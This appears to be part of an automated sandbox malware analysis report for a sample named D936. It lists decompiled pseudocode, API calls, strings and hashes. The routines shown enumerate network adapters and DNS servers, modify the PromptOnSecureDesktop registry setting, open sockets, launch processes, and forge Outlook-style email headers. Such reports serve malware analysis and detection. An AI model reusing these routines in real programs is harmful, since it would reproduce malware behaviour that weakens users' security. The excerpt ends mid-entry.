							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

123.45.67.89, xrefs: 004019A6
localcfg, xrefs: 004019A3
GetAdaptersInfo, xrefs: 004019DC
GetBestInterface, xrefs: 004019EF
GetIfEntry, xrefs: 004019E4
~s`ysps, xrefs: 004019B1
Iphlpapi.dll, xrefs: 004019B7

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~s`ysps
API String ID: 835516345-819159683
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00434E89, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434F18
_get_int64_arg.LIBCMTD ref: 00434F40
__aullrem.LIBCMT ref: 004350E5
__aulldiv.LIBCMT ref: 00435107
_write_multi_char.LIBCMTD ref: 0043520E
_write_string.LIBCMTD ref: 00435229
_write_multi_char.LIBCMTD ref: 00435255
_wctomb_s.LIBCMTD ref: 004352D2

Strings

9, xrefs: 00435118
-, xrefs: 004351AE

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: a9ec699edb316347cbedd7d3525ede8b6e8ee3ddf3a171ae1ebfc7ee8b1e8070
Instruction ID: eba22461760b59ced9c3acd6dd008cf20b49dd6ffba9738c21b41338b0151b92
Opcode Fuzzy Hash: a9ec699edb316347cbedd7d3525ede8b6e8ee3ddf3a171ae1ebfc7ee8b1e8070
Instruction Fuzzy Hash: BDF13AB1D016299FDB24CF54CC89BEEB7B1BB88304F1491DAD419A7281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429546, Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 0042956D

Part of subcall function 0041D8E0: __invalid_parameter.LIBCMTD ref: 0041D952

__invoke_watson_if_error.LIBCMTD ref: 00429576
_strlen.LIBCMT ref: 0042958B
_strlen.LIBCMT ref: 0042959C
_memcpy_s.LIBCMTD ref: 004295E4
__invoke_watson_if_error.LIBCMTD ref: 004295ED

Part of subcall function 0041DD60: __invoke_watson.LIBCMTD ref: 0041DD81

_strlen.LIBCMT ref: 004295FF
_strlen.LIBCMT ref: 00429610

Strings

`S@, xrefs: 00429783
tS@, xrefs: 004297BC, 004297C2
lS@, xrefs: 004297CA, 004297D0
|S@, xrefs: 00429685

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: `S@$lS@$tS@$|S@
API String ID: 3749650904-2621554435
Opcode ID: d9c043c37f070d86fccd26da6241ac091be6ce13ab8255e0f68d06b01f5ef7e7
Instruction ID: f99afcc0c34b4cb54df3be2e5ed04b1b59d6fc35d0e499051dcf82a4c2841725
Opcode Fuzzy Hash: d9c043c37f070d86fccd26da6241ac091be6ce13ab8255e0f68d06b01f5ef7e7
Instruction Fuzzy Hash: FF9173B4E00228ABDB28DF51DC46BDE77B4AB44704F5484AAF60976281D7789EC0CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043C12B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1C0
_get_int64_arg.LIBCMTD ref: 0043C1E8
__aullrem.LIBCMT ref: 0043C390
__aulldiv.LIBCMT ref: 0043C3B2
_write_multi_char.LIBCMTD ref: 0043C4CB
_write_string.LIBCMTD ref: 0043C4E6
_write_multi_char.LIBCMTD ref: 0043C512
__mbtowc_l.LIBCMTD ref: 0043C581

Strings

9, xrefs: 0043C3C3

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 809b9336705d3cdb08d33668d52f0cdf28c04fee9be4bd0ee0ca4a2e013f1c0a
Instruction ID: 0ae09c30847bb9a7cf2de9699ce7d804fbd7a90e0cf629efd222224712d9c565
Opcode Fuzzy Hash: 809b9336705d3cdb08d33668d52f0cdf28c04fee9be4bd0ee0ca4a2e013f1c0a
Instruction Fuzzy Hash: 7FF14AB1D002299FDB24CF58CC81BAEB7B5BB89304F1451DAE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 022B8578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 022B8643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 022B8664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 022B8691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 022B869A

Strings

PromptOnSecureDesktop, xrefs: 022B859F, 022B862E, 022B86A6, 022B86F1, 022B87AE, 022B87FB, 022B88D2, 022B88EE
", xrefs: 022B8955

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 005d882c4aeedffc90877f71ef2d1bf6f2479b2067cd4387733d5bc316276d21
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: BFC1A171910249BFEF22ABE4DD85EEE7B7DEF08384F144465F608E2054EB704A849F66

Uniqueness

Uniqueness Score: -1.00%

Function 022B2CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 022B2CD6
socket.WS2_32(00000002,00000002,00000011), ref: 022B2CF0
htons.WS2_32(00000000), ref: 022B2D2B
select.WS2_32 ref: 022B2D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 022B2D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 022B2E4B

Strings

ps, xrefs: 022B2F17

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: ps
API String ID: 127016686-3878219058
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: 3d269409054f5dc5ceb28df53ea50b5e64f1b688796464da3069074bb75d4d37
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: C461D471524305EBC7229FA1DC08BEBBBE8FF48795F004A19FD4497154D7B5E8808BA6

Uniqueness

Uniqueness Score: -1.00%

Function 022B14D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 022B15EA
lstrlenW.KERNEL32(-00000003), ref: 022B17C1

Strings

D, xrefs: 022B1816
<, xrefs: 022B15C8
@, xrefs: 022B15D0
, xrefs: 022B16B2

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: be19b9df8e1c683749cecbb97d7c2bd95e057fdca79507faf833171344b2609c
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 46F1BCB11183819FD721CFA4C898BEBB7E5FF88344F00892DF69A97294D7B49944CB52

Uniqueness

Uniqueness Score: -1.00%

Function 022B764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 022B76C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 022B7740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 022B7778
___ascii_stricmp.LIBCMT ref: 022B789D
RegCloseKey.ADVAPI32(?), ref: 022B7937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 022B7956
RegCloseKey.ADVAPI32(?), ref: 022B7967
RegCloseKey.ADVAPI32(?), ref: 022B7995
RegCloseKey.ADVAPI32(?), ref: 022B7A3F

Part of subcall function 022BF3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,022B7713,?), ref: 022BF3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 022B79DF
RegCloseKey.ADVAPI32(?), ref: 022B7A36

Strings

PromptOnSecureDesktop, xrefs: 022B76AE, 022B76B3, 022B76CE, 022B776B, 022B77CF, 022B784B, 022B7864, 022B79AB
", xrefs: 022B77E9

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: 87d88be296aa8f8abcfcbc7ec418f5d2f3626180acb83948f1a029c5a6ab4c8c
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: BAC1857291020AAFDB229BE4DC44FEEBBB9EF49390F1044A5F504E6154DB74DA84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,73BCEA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

~s`ysps, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~s`ysps
API String ID: 929413710-64764534
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00434BE7, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434BEB
__get_printf_count_output.LIBCMTD ref: 00434BF9
__invalid_parameter.LIBCMTD ref: 00434C80
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434C95
_write_multi_char.LIBCMTD ref: 0043520E
_write_string.LIBCMTD ref: 00435229
_write_multi_char.LIBCMTD ref: 00435255
_wctomb_s.LIBCMTD ref: 004352D2

Strings

-, xrefs: 004351AE

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 3c58f9eff3430c3f3c9d4f234b86860fbe125b268161412f2199e53fc3098741
Instruction ID: 5f18fbd2ce932d424083db30983543aedff8a02033013d0d86e100337567bd93
Opcode Fuzzy Hash: 3c58f9eff3430c3f3c9d4f234b86860fbe125b268161412f2199e53fc3098741
Instruction Fuzzy Hash: 46A1A0B0D016289BDF24DF55CC49BEEB7B0AB88304F1491DAE5197B281D7B86E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

127.0.0.1, xrefs: 0040ADEB
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%s%d, xrefs: 0040AE58
%OUTLOOK_HST, xrefs: 0040AEC5
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%OUTLOOK_MID, xrefs: 0040AEAE

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 022B9576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 022B9590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 022B95BE
GetModuleFileNameA.KERNEL32(00000000), ref: 022B95C5
wsprintfA.USER32 ref: 022B961E
wsprintfA.USER32 ref: 022B965C
wsprintfA.USER32 ref: 022B96DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 022B9741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 022B9776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 022B97C1

Strings

PromptOnSecureDesktop, xrefs: 022B95ED, 022B960D, 022B964B, 022B966C, 022B969F, 022B96C8, 022B96EA, 022B971D, 022B9769, 022B97A0

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: 6035ab19823ca108ec526dace6809d540a31c0b28f07f5bad26efe97f69b442e
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: EEA14CB1960208ABEF26DFE0CC85FDA3BADAF04785F104026FA05A6155E7B59584CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434A35, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434A39
_strlen.LIBCMT ref: 00434A69
_write_multi_char.LIBCMTD ref: 0043520E
_write_string.LIBCMTD ref: 00435229
_write_multi_char.LIBCMTD ref: 00435255
_wctomb_s.LIBCMTD ref: 004352D2

Strings

HD@, xrefs: 00434A5C
-, xrefs: 004351AE

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$HD@
API String ID: 2232461714-1281569576
Opcode ID: 311fc08f74fa3c4ff641883a3beffeebbadd2978083a8387ecc8fae2992066da
Instruction ID: 936efc9d13d6d4486e1b1a0e22e450f075ac6fb9aa617518f4621cd403b6498a
Opcode Fuzzy Hash: 311fc08f74fa3c4ff641883a3beffeebbadd2978083a8387ecc8fae2992066da
Instruction Fuzzy Hash: 7CA19CB0D016289FDF64CF54CC89BEEB7B1AB88305F1491DAD4196B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

